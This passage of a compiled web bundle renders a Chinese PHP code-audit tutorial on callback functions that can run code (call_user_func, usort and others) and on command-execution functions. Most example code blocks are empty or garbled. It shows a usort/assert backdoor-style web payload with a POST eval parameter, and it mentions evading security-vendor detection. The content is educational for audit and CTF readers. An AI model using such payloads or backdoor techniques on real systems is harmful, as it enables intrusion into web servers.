)(n.code,{className:"language-php",children:"call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-3",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.p,{children:["\u7b2c\u4e00\u4e2a\u53c2\u6570",(0,r.jsx)(n.code,{children:"callback"}),"\u662f\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570\uff0c\u5176\u4f59\u53c2\u6570\u662f\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570\u3002"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"callback\uff1a\u5373\u5c06\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(n.li,{children:"parameter\uff1a\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8fd8\u662f\u975e\u5e38\u597d\u7406\u89e3\u7684\uff0c\u770b\u4e00\u6bb5\u7b80\u5355\u7684\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u6b64\u51fd\u6570\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u4e86\u7b14\u8005\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u3002\u90a3\u4e48\u8fd9\u4e2a\u5982\u4f55\u5b9e\u73b0\u4ee3\u7801\u6267\u884c\u5462\uff1f\u597d\u8bf4\uff0c\u4f60\u5728\u524d\u9762\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u4e2d\u52a0\u5165\u80fd\u6267\u884c\u547d\u4ee4\u7684\u4ee3\u7801\u4e0d\u4e45\u53ef\u4ee5\u4ee3\u7801\u6267\u884c\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"call_user_func_array",children:"call_user_func_array()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u540d\u79f0\u8ddf\u4e0a\u6ca1\u4ec0\u4e48\u5927\u7684\u5dee\u522b\uff0c\u552f\u4e00\u7684\u533a\u522b\u5c31\u5728\u4e8e\u53c2\u6570\u7684\u4f20\u9012\u4e0a\uff0c\u8fd9\u4e2a\u51fd\u6570\u662f\u628a\u4e00\u4e2a\u6570\u7ec4\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"call_user_func_array( callable $callback, array $param_arr) : mixed\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-4",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"callback\uff1a\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(n.li,{children:"param_arr\uff1a\u8981\u88ab\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u6570\u7ec4\uff0c\u8fd9\u4e2a\u6570\u7ec4\u9700\u8981\u662f\u7d22\u5f15\u6570\u7ec4"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570```\n\n\n\u793a\u4f8b\u4ee3\u7801\uff1a\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"array_filter",children:"array_filter()"}),"\n",(0,r.jsx)(n.p,{children:"\u7528\u56de\u8c03\u51fd\u6570\u8fc7\u6ee4\u6570\u6570\u7ec4\u4e2d\u7684\u5355\u5143"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4f9d\u6b21\u5c06",(0,r.jsx)(n.code,{children:"array"}),"\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u503c\u4f20\u5230",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u3002\u5982\u679c",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u8fd4\u56de",(0,r.jsx)(n.code,{children:"true"}),"\uff0c\u5219",(0,r.jsx)(n.code,{children:"array"}),"\u6570\u7ec4\u7684\u5f53\u524d\u503c\u4f1a\u88ab\u5305\u542b\u5728\u8fd4\u56de\u7684\u7ed3\u679c\u6570\u7ec4\u4e2d\u3002\u6570\u7ec4\u7684\u952e\u540d\u4fdd\u7559\u4e0d\u53d8\u3002"]}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-5",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u8981\u5faa\u73af\u7684\u6570\u7ec4"}),"\n",(0,r.jsxs)(n.li,{children:["callback\uff1a\u4f7f\u7528\u7684\u56de\u8c03\u51fd\u6570\u3002\u5982\u679c\u6ca1\u6709\u63d0\u4f9b",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\uff0c\u5c06\u5220\u9664",(0,r.jsx)(n.code,{children:"array"}),"\u4e2d\u6240\u6709\u7b49\u503c\u4e3aFALSE\u7684\u6761\u76ee\u3002"]}),"\n",(0,r.jsxs)(n.li,{children:["flag\uff1a\u51b3\u5b9a",(0,r.jsx)(n.code,{children:"callback"}),"\u63a5\u6536\u7684\u53c2\u6570\u5f62\u5f0f"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff08\u8fd9\u91cc\u770b\u5b98\u65b9\u7684\u5c31\u884c\uff0c\u5f88\u8be6\u7ec6\uff09\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);\n$array2 = array(6, 7, 8, 9, 10, 11, 12);\n\necho "Odd :\\n";\nprint_r(array_filter($array1, "odd"));\necho "Even:\\n";\nprint_r(array_filter($array2, "even"));\n?> \n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nOdd :\nArray\n(\n [a] => [c] => [e] => )\nEven:\nArray\n(\n [0] => [2] => [4] => [6] => )\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u4e0a\u9762\u4ee3\u7801\u6211\u4eec\u77e5\u9053\uff0c\u8fd9\u4e2a\u51fd\u6570\u4f5c\u7528\u5176\u5b9e\u5c31\u662f\u8fc7\u6ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8fc7\u6ee4\u8c03\u7528\u7684\u662f\u51fd\u6570\uff0c\u800c\u88ab\u8fc7\u6ee4\u7684\u662f\u4f20\u5165\u7684\u53c2\u6570\u3002\u5230\u8fd9\u91cc\u4f60\u5fc3\u91cc\u6709\u6ca1\u6709\u4ee3\u7801\u6267\u884c\u7684\u96cf\u5f62\u4e86\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"usort",children:"usort()"}),"\n",(0,r.jsx)(n.p,{children:"\u4f7f\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u6bd4\u8f83\u51fd\u6570\u5bf9\u6570\u7ec4\u4e2d\u7684\u503c\u8fdb\u884c\u6392\u5e8f"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"usort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-6",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(n.li,{children:"cmp_function\uff1a\u5728\u7b2c\u4e00\u4e2a\u53c2\u6570\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e\u7b2c\u4e8c\u4e2a\u53c2\u6570\u65f6\uff0c\u8be5\u6bd4\u8f83\u51fd\u6570\u5fc5\u987b\u76f8\u5e94\u5730\u8fd4\u56de\u4e00\u4e2a\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e0\u7684\u6570"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [0] => [1] => [2] => [3] => [4] => )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u89c1\u5b9e\u73b0\u4e86\u9006\u5e8f\u7684\u529f\u80fd\u3002\u90a3\u4e48\u5018\u82e5\u6211\u4eec\u628a\u56de\u8c03\u51fd\u6570\u8bbe\u8ba1\u6210\u80fd\u591f\u6267\u884c\u4ee3\u7801\u7684\u51fd\u6570\uff0c\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u6267\u884c\u6211\u4eec\u60f3\u8981\u7684\u4ee3\u7801\u4e86\u5462\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\npayload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert\nPOST\u4f20\u53c2: x=phpinfo();\n"})}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"usort"}),"\u7684\u53c2\u6570\u901a\u8fc7GET\u4f20\u53c2\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(n.code,{children:"$_GET[0]"}),"\uff0c\u968f\u4fbf\u4f20\u5165\u4e00\u4e2a\u6570\u5b57\u5373\u53ef\u3002\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(n.code,{children:"$_GET[1]"}),"\u662f\u6211\u4eec\u8981\u8c03\u7528\u7684\u51fd\u6570\u540d\u79f0\uff0c\u8fd9\u91cc\u91c7\u7528\u7684\u662f",(0,r.jsx)(n.code,{children:"assert"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648344.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"uasort",children:"uasort()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u8ddf\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\uff0c\u533a\u522b\u4e0d\u662f\u5f88\u5927\u3002\u6b64\u51fd\u6570\u5bf9\u6570\u7ec4\u6392\u5e8f\u5e76\u4fdd\u6301\u7d22\u5f15\u548c\u5355\u5143\u4e4b\u95f4\u7684\u5173\u8054\u3002\u4e5f\u5c31\u662f\u8bf4\u4f60\u8fd9\u4e2a\u6392\u5b8c\u5e8f\u4e4b\u540e\u5462\uff0c\u5b83\u539f\u6765\u5bf9\u5e94\u7684\u7d22\u5f15\u4e5f\u4f1a\u76f8\u5e94\u6539\u53d8\uff0c\u7c7b\u4f3c\u4e8e\u201c\u7ed1\u5b9a\u201d\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"uasort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-7",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(n.li,{children:"value_compare_func\uff1a\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u7528\u7684\u4ecd\u7136\u5b98\u65b9\u4f8b\u5b50\uff08\u6bd4\u8f83\u597d\u7406\u89e3\uff09"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);\nprint_r($array);\n\n// Sort and print the resulting array\nuasort($array, 'cmp');\nprint\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)\nArray\n(\n [d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53d1\u73b0\uff0c\u5728\u6392\u5b8c\u5e8f\u4e4b\u540e\u7d22\u5f15\u4e5f\u8ddf\u7740\u503c\u7684\u4f4d\u7f6e\u53d8\u5316\u800c\u53d8\u5316\u4e86\u3002\u90a3\u4e48\u4ee3\u7801\u6267\u884c\u7684\u793a\u4f8b\u4ee3\u7801\u5176\u5b9e\u4e5f\u548c\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648345.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(n.p,{children:"\u770b\u5b8c\u8fd9\u91cc\u4e0d\u77e5\u9053\u4f60\u5bf9\u4ee3\u7801\u5ba1\u8ba1\u4e2d\u7684\u4ee3\u7801\u6267\u884c\u90e8\u5206\u662f\u5426\u6709\u53e6\u4e00\u79cd\u60f3\u6cd5\uff1f\u6211\u7684\u60f3\u6cd5\u5c31\u662f\u8fd9\u4e2a\u662f\u548c\u540e\u95e8\u8054\u7cfb\u5728\u4e00\u8d77\u7684\u3002\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5f88\u591a\u51fd\u6570\u90fd\u5177\u6709\u6784\u9020\u6267\u884c\u547d\u4ee4\u7684\u6761\u4ef6\uff0c\u800c\u4e14\u5176\u4e2d\u5f88\u591a\u51fd\u6570\u4e5f\u7684\u786e\u88ab\u7528\u5728\u540e\u95e8\u4e2d\uff0c\u7279\u522b\u50cf\u540e\u9762\u51e0\u4e2a\u56de\u8c03\u51fd\u6570\uff0c\u5728\u540e\u95e8\u4e2d\u66f4\u662f\u5e38\u89c1\u3002\u5f53\u7136\u8fd9\u4e9b\u540e\u95e8\u51fd\u6570\u4e5f\u65e9\u5df2\u88ab\u5b89\u5168\u5382\u5546\u76ef\u4f4f\uff0c\u6240\u4ee5\u5927\u90e8\u5206\u5df2\u7ecf\u65e0\u6cd5\u76f4\u63a5\u514d\u6740\uff0c\u6240\u4ee5\u60f3\u8981\u514d\u6740\u5c31\u9700\u8981\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\uff0c\u6bd4\u5982\u66ff\u6362\u3001\u62fc\u63a5\u3001\u52a0\u5bc6\u7b49\u7b49\u3002\u4f46\u662f\u8fd9\u4e9b\u77e5\u8bc6\u5728CTF\u4e2d\u8fd8\u662f\u6bd4\u8f83\u5bb9\u6613\u51fa\u73b0\u7684\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u547d\u4ee4\u6267\u884c",children:"\u547d\u4ee4\u6267\u884c"}),"\n",(0,r.jsx)(n.p,{children:"\u8bf4\u5b8c\u4ee3\u7801\u6267\u884c\uff0c\u6211\u4eec\u518d\u6765\u770b\u770b\u547d\u4ee4\u6267\u884c\u3002\u5e38\u89c1\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(n.h4,{id:"system",children:"system()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u90fd\u662f\u6bd4\u8f83\u719f\u6089\u7684\uff0c\u6b64\u51fd\u6570\u5c31\u662f\u6267\u884c\u5916\u90e8\u6307\u4ee4\uff0c\u5e76\u4e14\u663e\u793a\u8f93\u51fa"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"system( string $command[, int &$return_var] ) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-8",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u82e5\u8bbe\u7f6e\u4e86\u8fd9\u4e2a\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u540e\u7684\u8fd4\u56de\u72b6\u6001\u5c31\u4f1a\u88ab\u653e\u5230\u8fd9\u4e2a\u53d8\u91cf\u4e2d"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"exec",children:"exec()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u5176\u5b9e\u548c\u4e0a\u9762",(0,r.jsx)(n.code,{children:"system"}),"\u51fd\u6570\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u90fd\u662f\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u6307\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u51fd\u6570\u591a\u4e86\u4e00\u4e2a\u53c2\u6570\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u628a\u547d\u4ee4\u6267\u884c\u8f93\u51fa\u7684\u7ed3\u679c\u4fdd\u5b58\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"exec( string $command[, array &$output[, int &$return_var]] ) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-9",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"output\uff1a\u53ef\u9009\u3002\u5982\u679c\u8bbe\u7f6e\u4e86\u6b64\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u5c06\u4f1a\u4fdd\u5b58\u5230\u6b64\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u547d\u4ee4\u6267\u884c\u7684\u8fd4\u56de\u72b6\u6001\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"shell_exec",children:"shell_exec()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u901a\u8fc7shell\u73af\u5883\u6267\u884c\u547d\u4ee4\uff0c\u5e76\u4e14\u5c06\u5b8c\u6574\u7684\u8f93\u51fa\u4ee5\u5b57\u7b26\u4e32\u7684\u65b9\u5f0f\u8fd4\u56de\u3002\u5982\u679c\u6267\u884c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u9519\u8bef\u6216\u8005\u8fdb\u7a0b\u4e0d\u4ea7\u751f\u8f93\u51fa\uff0c\u90a3\u4e48\u5c31\u8fd4\u56de",(0,r.jsx)(n.code,{children:"NULL"})]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"shell_exec( string $cmd) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-10",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"passthru",children:"passthru()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u5e76\u4e14\u663e\u793a\u539f\u59cb\u8f93\u51fa\u3002\u65e2\u7136\u6211\u4eec\u5df2\u7ecf\u6709\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570\u4e86\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u6211\u4eec\u4ec0\u4e48\u65f6\u5019\u4f1a\u7528\u5230\u5462\uff1f\u5f53\u6240\u6267\u884c\u7684Unix\u547d\u4ee4\u8f93\u51fa\u4e8c\u8fdb\u5236\u6570\u636e\uff0c\u5e76\u4e14\u9700\u8981\u76f4\u63a5\u4f20\u9001\u5230\u6d4f\u89c8\u5668\u7684\u65f6\u5019\uff0c\u9700\u8981\u7528\u6b64\u51fd\u6570\u6765\u66ff\u4ee3",(0,r.jsx)(n.code,{children:"exec()"}),"\u6216",(0,r.jsx)(n.code,{children:"system()"}),"\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"passthru( string $command[, int &$return_var] ) : void\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-11",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"return_var\uff1aUnix\u547d\u4ee4\u7684\u8fd4\u56de\u72b6\u6001\u5c06\u88ab\u8bb0\u5f55\u5230\u6b64\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\u7b2c\u4e00\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n\u7b2c\u4e8c\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n"})}),"\n",(0,r.jsx)(n.h4,{id:"pcntl_exec",children:"pcntl_exec()"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u5f53\u524d\u8fdb\u7a0b\u7a7a\u95f4\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\u3002\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u8fdb\u7a0b\u7a7a\u95f4\uff0c\u5018\u82e5\u6211\u73b0\u5728\u8bbe\u5b9a\u4e00\u4e2a\u6761\u4ef6\uff0c\u4f60\u53ea\u6709\u5728\u67d0\u4e2a\u5b50\u8fdb\u7a0b\u4e2d\u624d\u80fd\u8bfb\u53d6phpinfo\uff0c\u90a3\u8fd9\u4e2a\u65f6\u5019\uff0c\u6211\u4eec\u5c31\u9700\u8981\u7528\u5230\u8fd9\u4e2a\u51fd\u6570\u4e86\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"pcntl_exec( string $path[, array $args[, array $envs]] ) : void\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-12",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"path\uff1apath\u5fc5\u987b\u65f6\u53ef\u6267\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6\u8def\u5f84\u6216\u5728\u4e00\u4e2a\u6587\u4ef6\u7b2c\u4e00\u884c\u6307\u5b9a\u4e86\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84\u6807\u5934\u7684\u811a\u672c(\u6bd4\u5982\u6587\u4ef6\u7b2c\u4e00\u884c\u662f#!/usr/local/bin/perl\u7684perl\u811a\u672c)"}),"\n",(0,r.jsx)(n.li,{children:"args\uff1a\u6b64\u53c2\u6570\u662f\u4e00\u4e2a\u4f20\u9012\u7ed9\u7a0b\u5e8f\u7684\u53c2\u6570\u7684\u5b57\u7b26\u4e32\u6570\u7ec4"}),"\n",(0,r.jsx)(n.li,{children:"envs\uff1a\u73af\u5883\u53d8\u91cf\uff0c\u8fd9\u4e2a\u60f3\u5fc5\u5927\u5bb6\u90fd\u5f88\u719f\u6089\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u91cc\u5f3a\u8c03\u4e00\u70b9\uff0c\u8fd9\u91cc\u4f20\u5165\u7684\u662f\u6570\u7ec4\uff0c\u6570\u7ec4\u683c\u5f0f\u662f key => value\u683c\u5f0f\u7684\uff0ckey\u4ee3\u8868\u8981\u4f20\u9012\u7684\u73af\u5883\u53d8\u91cf\u7684\u540d\u79f0\uff0cvalue\u4ee3\u8868\u8be5\u73af\u5883\u53d8\u91cf\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//father\n\n"})}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//son\n\n"})}),"\n",(0,r.jsx)(n.h4,{id:"popen",children:"popen()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u4f7f\u7528command\u53c2\u6570\u6253\u5f00\u8fdb\u7a0b\u6587\u4ef6\u6307\u9488\u3002\u5982\u679c\u51fa\u9519\uff0c\u90a3\u4e48\u8be5\u51fd\u6570\u5c31\u4f1a\u8fd4\u56deFALSE\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"popen(command,mode)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-13",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsxs)(n.li,{children:["mode\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8fde\u63a5\u7684\u6a21\u5f0f\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"r\uff1a\u53ea\u8bfb"}),"\n",(0,r.jsx)(n.li,{children:"w\uff1a\u53ea\u5199\uff08\u6253\u5f00\u5e76\u6e05\u7a7a\u5df2\u6709\u6587\u4ef6\u6216\u521b\u5efa\u4e00\u4e2a\u65b0\u6587\u4ef6\uff09"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\n\n'})}),"\n",(0,r.jsx)(n.h4,{id:"proc_open",children:"proc_open()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u547d\u4ee4\uff0c\u5e76\u4e14\u6253\u5f00\u7528\u6765\u8f93\u5165\u6216\u8005\u8f93\u51fa\u7684\u6587\u4ef6\u6307\u9488"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) 